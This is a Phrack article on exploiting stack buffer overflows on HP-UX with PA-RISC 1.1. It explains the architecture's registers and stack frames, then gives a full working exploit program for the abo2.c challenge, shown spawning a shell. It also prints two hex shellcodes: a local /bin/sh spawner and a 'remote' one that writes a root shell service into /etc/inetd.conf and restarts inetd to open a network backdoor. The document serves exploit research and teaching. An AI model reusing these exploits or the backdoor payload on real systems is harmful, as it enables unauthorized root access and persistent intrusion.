Title : HP-UX (PA-RISC 1.1) Overflows
Author : Zhodiac
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x0b of 0x0e
|=-----------------=[ HP-UX (PA-RISC 1.1) Overflows ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ Zhodiac <zhodiac@softhome.net> ]=------------------=|
--[ Introduction.
Damn it, another buffer overflow document!! Well, this paper is not
intended to explain buffer overflow exploitations, neither is intended to
explain asm coding. This paper focuses mainly in three topics:
HP-UX/PA-RISC registers and stack organization, a solution for abo2.c
(located at community.core-sdi.org/~gera/InsecureProgramming/) and finally
two shellcodes for this OS/arch.
It covers basic topics to start exploiting buffer overflows under
HP-UX/PA-RISC 1.1. This paper is divided into the following sections:
1. PA-RISC Introduction
1.1. RISC fundamentals
1.2. Registers
1.3. Leaf and non-leaf functions
2. Stack organization
3. Advance Buffer Overflow #2
4. Extras
4.1. Local Shellcode
4.2. Remote Shellcode
5. Resources
6. Greetings
--[ 1. PA-RISC Introduction
--[ 1.1. RISC fundamentals
RISC (Reduced Instruction Set Computing) refers to procesors with a
reduced instruction set, and with the ability to do the same tasks of a
CISC processor (Complex Instruction Set Computing).
RISC processors have some common caracteristics:
- Load, store design for memory access
- Reduce number of addressing
- Instruction size is always the same (Speeds up)
- Few instructions format
- More use of registers rather than memory
Deep in PA-RISC arch we have some more defined caracteristics:
- Immediate addressing, base relative without offset
- Predecrement in an instruction
- Postincrement in an instruction
- 12 instruction formats, all of them have 32 bits
--[ 1.2. Registers
On PA-RISC 1.1 there are four types of registers:
- General registers (32)
- Float point registers (32)
- Space registers (8)
- Control registers (25)
We will focus on the "General registers" which are the ones that get
involved in shellcodes programming and buffer overflow exploiting. These
registers can be used at any time even when cpu is not on privilege state,
except %gr0 (%r0) as we will see.
Lets explain some uses of the general registers
- %gr0: Always contains the value 0 and if you write something on it,
will be discarded
- %gr1: It is the implicit target register of the ADDIL instruction.
When calling a shared library function it will store the return
address of the so called "shared library stub" before calling
the function
- %gr2 (%rp): In this register it is stored the return address when a
function call is done with BL (Branch and Link)
- %gr3-%gr21: General use registers
- %gr19: Is the linkage table base register when calling a shared
library function
- %gr22: Stores the syscall number when you are going to call one of
them
- %gr23-gr26: Stores the functions arguments arg0-arg3
- %gr28,gr29 (%ret0, %ret1): In %gr28 is stored the return value of a
function or syscall. (An inmediat value or a reference address).
Under certain circunstances the value is sotred in %gr29
- %gr30: Here it is sotred the current Stack pointer. It has to be
aligned to 16 bits
- %gr31: Under PA-RISC 2.0 it contains the return address when a BLE
instruction is executed
Some final notes:
- Under PA-RISC 1.0 there are only 16 Floating-Point registers and under
PA-RISC 1.1 and 2.0 there are 32
- Control registers are only accessible when the CPU is in privilege mode
- Under PA-RISC 2.0 registers size is 64 bits
--[ 1.3. Leaf and non-leaf functions
There are mainly two classes of functions under HP-UX (similar as SPARC):
- Leaf functions: They DO NOT call any further function.
Leaf funtions, since they do not call any further function never store
%rp in memory because it will never be overwritting by a new function
called.
Here is an example on code and its gdb disass dump of a leaf function.
HP9000:~/overflows/leaf$ cat leaf.c
int leaf(char *buff) {
int a=0;
a=1;
}
int main(int argc, char **argv) {
leaf(argv[1]);
}
HP9000:~/overflows/leaf$
You can see in the gdb disass dump it never saves %rp in stack.
(gdb) disass leaf
Dump of assembler code for function foo:
0x3280 <leaf>: copy r3,r1
0x3284 <leaf+4>: copy sp,r3
0x3288 <leaf+8>: stw,ma r1,40(sr0,sp)
0x328c <leaf+12>: stw r26,-24(sr0,r3)
0x3290 <leaf+16>: stw r0,8(sr0,r3)
0x3294 <leaf+20>: ldi 1,r19
0x3298 <leaf+24>: stw r19,8(sr0,r3)
0x329c <leaf+28>: ldo 40(r3),sp
0x32a0 <leaf+32>: ldw,mb -40(sr0,sp),r3
0x32a4 <leaf+36>: bv,n r0(rp)
End of assembler dump.
(gdb)
- Non-Leaf funtions: They DO call at least one function.
Non-Leaf funtions, since they do not call any further function always
stores %rp in stack (as we will see) because the function called is going
to overwrite %rp with its wn return pointer.
Here is an example on code and its gdb disass dump of a leaf funtion.
HP9000:~/overflows/non-leaf$ cat non-leaf.c
int non_leaf(char *buff) {
int a=0;
a=1;
sleep(1);
}
int main(int argc, char **argv) {
non_leaf(argv[1]);
}
HP9000:~/overflows/non-leaf$
You can see in the gdb disass dump it saves %rp in stack at
"stw rp,-14(sr0,sp)".
(gdb) disass non_leaf
Dump of assembler code for function foo:
0x32b0 <non_leaf>: stw rp,-14(sr0,sp)
0x32b4 <non_leaf+4>: copy r3,r1
0x32b8 <non_leaf+8>: copy sp,r3
0x32bc <non_leaf+12>: stw,ma r1,80(sr0,sp)
0x32c0 <non_leaf+16>: stw r26,-24(sr0,r3)
0x32c4 <non_leaf+20>: stw r0,8(sr0,r3)
0x32c8 <non_leaf+24>: ldi 1,r19
0x32cc <non_leaf+28>: stw r19,8(sr0,r3)
0x32d0 <non_leaf+32>: ldi 1,r26
0x32d4 <non_leaf+36>: b,l 0x3298 <sleep>,rp
0x32d8 <non_leaf+40>: nop
0x32dc <non_leaf+44>: ldw -14(sr0,r3),rp
0x32e0 <non_leaf+48>: ldo 40(r3),sp
0x32e4 <non_leaf+52>: ldw,mb -40(sr0,sp),r3
0x32e8 <non_leaf+56>: bv,n r0(rp)
0x32ec <non_leaf+60>: break 0,0
End of assembler dump.
(gdb)
--[ 2. Stack organization
The following stack organization is brought up under PA-RISC 1.1 on a
HP-UX B10.20 and using the gcc compiler (though i will explain some few
thing of native cc). I have not seen any documentation about this stuff, so
it was based on gdb and my deduction ability.
PA-RISC does not have instructions like "save", "restore" to save the
registers values in a function prelude as SPARC does. all this stuff is
implemented via software and changes between compilers.
We will focus on non-leaf functions that are the ones that get involved
on buffer overflows. All "non-leaf" functions implements a prelude and a
final of a funtion, for example in main():
0x3380 <main>: stw rp,-14(sr0,sp)
0x3384 <main+4>: copy r3,r1
0x3388 <main+8>: copy sp,r3
0x338c <main+12>: stw,ma r1,40(sr0,sp)
0x3390 <main+16>: stw r26,-24(sr0,r3)
0x3394 <main+20>: stw r25,-28(sr0,r3)
...
0x33e0 <main+96>: ldw -14(sr0,r3),rp
0x33e4 <main+100>: ldo 40(r3),sp
0x33e8 <main+104>: ldw,mb -40(sr0,sp),r3
0x33ec <main+108>: bv,n r0(rp)
We are going to see step by step what is going on:
- 0x3380 <main>: stw rp,-14(sr0,sp)
Store the return address (in %rp after the BL) in %sp-0x14. Native C
compiler stores it in %sp-0x18.
- 0x3384 <main+4>: copy r3,r1
Make a copy of %r3 in %r1. This is because in %r3 will store the %sp
of the previous function, as we will see.
- 0x3388 <main+8>: copy sp,r3
Copy %sp in %r3.
- 0x338c <main+12>: stw,ma r1,40(sr0,sp)
Stores %r1 (the sp of to back functions) in the stack and increments
%sp in 0x40. This 0x40 is because it reserves space for its own local
variables plus 64 bytes for the frame maker and the arguments of the
following function. (Notice the frame maker is of the next function
that is to be called, this is very important!).
- 0x3390 <main+16>: stw r26,-24(sr0,r3)
Copies the first argument (%r26) of the function to stack (space
reserved of the last function), at %r3 (last %sp) - 0x24.
- 0x3394 <main+20>: stw r25,-28(sr0,r3)
Copies the second argument (%r25) of the fucntion to stack (space
reserved of the last function), at %r3 (last %sp) - 0x28.
Like the last two instructions mechanism, the first four arguments
will be stored (%r26-%r23). In case there are more than four arguments
before the jmp to the function is done they will be store in stack
where they fit.
F.e. arg4 ---> %r3 - 52
arg5 ---> %r3 - 56
arg6 ---> %r3 - 60
...
So the stack organization will look like this:
| |
--------------------------- %sp \
| | |
| | |
| | |
| | |
| | |
| | | Space reserved
| | | for the Frame Maker
| | | and the arguments
| | | of the following
| | | function.
| | | Always 64 bytes.
| | |
| | |
| | |
| | |
| | |
--------------------------- /
| | \
| | | Space reserved for
... | the local variables
| | | of the function
| | | + 4 bytes (%r1)
| %r1 | /
--------------------------- %r3 \
-4 | | |
-8 | | |
-12 | | | Frame Maker of the
-16 | | | current function
-20 | %r2 (%rp) gcc | |
-24 | %r2 (%rp) cc | |
-28 | | |
-32 | | /
-36 | arg1 = %r26 | \
-40 | arg2 = %r25 | |
-44 | arg3 = %r24 | | Space reserved
-48 | arg4 = %r23 | | for the arguments
-52 | arg5 | | of the current
-56 | ... | | function
-60 | | |
-64 | | |
--------------------------- /
| |
With this usefull information, if a buffer overflow happens in stack and
we overflow a local variable of a function, we will overwrite the Frame
Maker of the next function called. This "next function" used to be the
function that makes the copy of the buffer, f.e. strcpy(), sprintf() etc.
This is why the following program could not be exploited because there is
not a "next function" that copies the buffer, because we copy the buffer
with a while.
void vulnerable_func(char *buffer) {
char buffer2[128];
int counter=0;
while(buffer[counter]!='\0') {
buffer2[counter]=buffer[counter];
counter++;
}
printf("Buffer: %s\n",buffer);
}
int main(int argc, char **argv) {
vulnerable_func(argv[1]);
}
In the end part of each function we undo all the operations we have seen:
read %rp from stack, restore %sp and %r3 and branches to %rp.
--[ 3. Advanced Buffer Overflow #2
In the following web page:
http://community.core-sdi.com/~gera/InsecureProgramming/
there are some programs vulnerable to many types of bugs such as buffer
overflow, heap overflow, format string bugs, ...
We will focus in the Advance Buffer Overflow #2 (abo2.c) which gave many
people headaches.
HP9000:~/overflows/sample$ cat abo2.c
/* abo2.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* This is a tricky example to make you think *
* and give you some help on the next one */
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
exit(1);
}
HP9000:~/overflows/sample$
Many people say that "its exploitation is not possible". I go further
saying "its exploitation is not possible in x86 architectures", but in
others like PA-RISC it can be exploitable.
In x86 platforms, by supplying a buffer long enough, you will overwrite
the return address of main(), but due to the uneludable exit() we will
never have the control of the flow of the vulnerable program. Better said:
"I have not been able to have control of it ;P"
We have to find a way to control the flow of our program before exit() is
executed. Under HP-UX10.20/PA-RISC, because stack (%r30 or %sp) grows from
lower address to higher address (against some other architectures do such
as Linux x86) and also due to the stack organization explained in this
document, we will not overwrite the return address of main() but we will
overwrite the return address of strcpy(). So once the buffer is copied, and
once strcpy branches to its own %rp, it will go to our shellcode having
control of the flow of the program before exit() is executed.
All this is due to strcpy(), is implemented, under HP-UX B.10.20 as a
non-leaf funtion (it will store its own return pointer in stack). Fyodor
Yarochkin told me that strcpy() under HP-UX 11.00 is implemented as a leaf
funtion, so this particular overflow will not be exploitable on that
version of HP-UX.
I am not saying strcpy()'s overflows are not posible to exploit under
HP-UX 11.00. Take a look at this piece of code and find why it is still
possible.
HP9000:~/overflows/hp11-strcpy$ cat hp11-strcpy.c
void foo(char *buff,char *dest) {
strcpy(dest,buff);
}
int main(int argc, char **argv) {
char buffer[128];
foo(argv[1],buffer);
}
HP9000:~/overflows/hp11-strcpy$
Proof of concept:
HP9000:~/overflows/sample$ uname -a
HP-UX HP9000 B.10.20 A 9000/712 2013496278 two-user license
HP9000:~/overflows/abo2$ cat abo2.c
/* abo2.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* This is a tricky example to make you think *
* and give you some help on the next one */
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
exit(1);
}
HP9000:~/overflows/abo2$
HP9000:~/overflows/abo2$ cat xploit.c
/*
* abo2.c xploit by Zhodiac <zhodiac@softhome.net>
*
* http://community.core-sdi.com/~gera/InsecureProgramming/
*
* Xploited on HPUX
* 9/9/2001
*
* Madrid
*
*/
#include <stdio.h>
//#define NOP 0x3902800b
#define NOP 0x08630243
#define BUFFSIZE 256+48+1
#define NUMADDR 10
#define OFFSET -80
char shellcode[] =
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe"
"/bin/sh\xff";
long get_sp(void) {
__asm__("copy %sp,%ret0 \n");
}
int main(int argc, char *argv[]) {
char buffer[BUFFSIZE];
char *ch_ptr;
unsigned long addr,offset=OFFSET;
int aux;
if (argc==2) offset=atoi(argv[1]);
addr=get_sp()+offset;
memset(buffer,0,sizeof(buffer));
ch_ptr=(char *)buffer;
for (aux=0; aux<(BUFFSIZE-strlen(shellcode)-NUMADDR*4)/4; aux++) {
*(ch_ptr++)=(NOP>>24)&255;
*(ch_ptr++)=(NOP>>16)&255;
*(ch_ptr++)=(NOP>>8)&255;
*(ch_ptr++)=NOP&255;
}
memcpy(ch_ptr,shellcode,strlen(shellcode));
ch_ptr+=strlen(shellcode);
for (aux=0; aux<NUMADDR; aux++) {
*(ch_ptr++)=(addr>>24)&255;
*(ch_ptr++)=(addr>>16)&255;
*(ch_ptr++)=(addr>>8)&255;
*(ch_ptr++)=addr&255;
}
buffer[BUFFSIZE-1]='\0';
printf("Return Address %#x\n",addr);
printf("Buffer Size: %i\n",strlen(buffer));
if (execl("./abo2","abo2",buffer,NULL)==-1) {
printf("Error at execl()\n");
exit(-1);
}
}
HP9000:~/overflows/abo2$
HP9000:~/overflows/abo2$ gcc -o xploit xploit.c
HP9000:~/overflows/abo2$ gcc -o abo2 abo2.c
HP9000:~/overflows/abo2$ ./xploit
Return Address 0x7b03a5b0
Buffer Size: 304
$ uname -a
HP-UX HP9000 B.10.20 A 9000/712 2013496278 two-user license
$ exit
HP9000:~/overflows/abo2$
--[ 4. Extras
Here are two shellcodes for HP-UX. First is a local one, it just executes
a /bin/sh but notice its reduced size, only 47 bytes. Second one was, in
its development time, the first remote shellcode I know about. It uses
inetd to put a shell on a tcp port. There is a third shellcode which
implements all syscalls socket(), bind(), dup2() but I lost it. Shit
happens (Also fsck does also). :(
--[ 4.1. Local Shellcode
Nowadays there are some HP-UX shellcode (Fyodor's home some developed,
lsd-pl some more), but in its development time the only one public was the
one of K2 of ADM. This shellcode is a bit optimized, because it is 13
bytes lower in size.
/*
* HP-UX 47 bytes shellcode
*
* By Zhodiac <zhodiac@softhome.net>
*
* Madrid, 13/05/2001
*
*/
char shellcode[]=
"\xe8\x3f\x1f\xfd" /* bl salto,%r1 */
"\x0b\x39\x02\x99" /* salto: xor %r25,%r25,%r25 */
"\x34\x02\x04\xc0" /* ldi 0x260,%r2 */
"\x08\x41\x04\x03" /* sub %r1,%r2,%r3 */
"\x60\x79\x05\x08" /* stb %r25,0x284(%sr0,%r3) */
"\xb4\x7a\x04\xfa" /* addi 0x27D,%r3,%r26 */
"\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */
"\x20\x20\x08\x01" /* ldil L'0xC0000004,%r1 */
"\xe4\x20\xe0\x08" /* ble R'0xC0000004(%sr7,%r1) */
"\x94\x56\x05\x36" /* subi 0x29b,%r2,%r22 */
"/bin/sh";
--[ 4.2. Remote Shellcode
/*
* HP-UX remote shellcode
*
* By Zhodiac <zhodiac@softhome.net>
*
* Madrid, 14/05/2001
*
*/
char shellcode[]=
"\xe8\x3f\x1f\xfd" /* bl salto,%r1 */
"\x0b\x39\x02\x99" /* salto: xor %r25,%r25,%r25 */
"\x34\x02\x04\xc0" /* ldi 0x260,%r2 */
"\x08\x41\x04\x03" /* sub %r1,%r2,%r3 */
"\x60\x79\x05\x78" /* stb %r25,0x2BC(%sr0,%r3) */
"\x60\x79\x05\x7e" /* stb %r25,0x2BF(%sr0,%r3) */
"\x68\x79\x05\x62" /* stw %r25,0x2AE(%sr0,%r3) */
"\xb4\x7a\x05\x6A" /* addi 0x2B5,%r3,%r26 */
"\x0f\x5a\x12\x81" /* stw %r26,-16(%sr0,%r26) */
"\x94\x44\x04\xd0" /* subi 0x268,%r2,%r4 */
"\x0b\x44\x06\x04" /* add %r4,%r26,%r4 */
"\x0f\x44\x12\x89" /* stw %r4,-12(%sr0,%r26) */
"\x94\x44\x04\xd6" /* subi 0x26C,%r2,%r4 */
"\x0b\x44\x06\x04" /* add %r4,%r26,%r4 */
"\x0f\x44\x12\x91" /* stw %r4,-8(%sr0,%r26) */
"\xb7\x59\x07\xe1" /* addi -16,%r26,%r25 */
"\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */
"\x20\x20\x08\x01" /* ldil L'0xC0000004,%r1 */
"\xe4\x20\xe0\x08" /* ble R'0xC0000004(%sr7,%r1) */
"\x94\x56\x05\x36" /* subi 0x29b,%r2,%r22 */
"AAAA"
"BBBB"
"CCCC"
"ZZZZ"
"/bin/sh -c echo \"eklogin stream tcp nowait root /bin/sh sh -i\" >> "
"/etc/inetd.conf ; /usr/sbin/inetd -c ; ";
--[ 5. References
For further information you may consult:
[1] Some PDFs i found at http://www.freelsd.net/~ndubee/ (Great
collection :) and http://docs.hp.com/
* PA-RISC 1.1 Architecture and Instruction Set Reference Manual
* PA-RISC Architecture and Instruction Set Reference Manual
* http://www.devresource.hp.com/partner/rad.10.20.pdf
* http://www.devresource.hp.com/partner/rad.11.0.32.pdf
[2] PA-RISC 2.0 Architecture
Gerry Kane
ISBN 0-13-182734-0
[3] Buffer overflow on non-intel platforms (BlackHat 2001 Asia)
Fyodor Yarochkin.
http://www.notlsd.net/bof/index.html
[4] lsd-pl HP-UX shellcodes (You people, are really good! Hope to talk
to you in future!)
http://lsd-pl.net
[5] You can mail me with any doubt you have :)
Zhodiac <zhodiac@softhome.net>
--[ 6.- Greetings
- [CrAsH], without her support this document would not exist. :***
- DarkCode for long long time talking about SPARC and PA-RISC
archs :)
- Fyodor Yarochkin for the few, but great, chats we had about
PA-RISC. For the review of this paper. Thx.
- El Nahual for having fun in real and net-life ;P I owe you a mail.
- 0xdeadcafe mail-list for great discussion topics.
Madrid 11/10/2001
|=[ EOF ]=---------------------------------------------------------------=|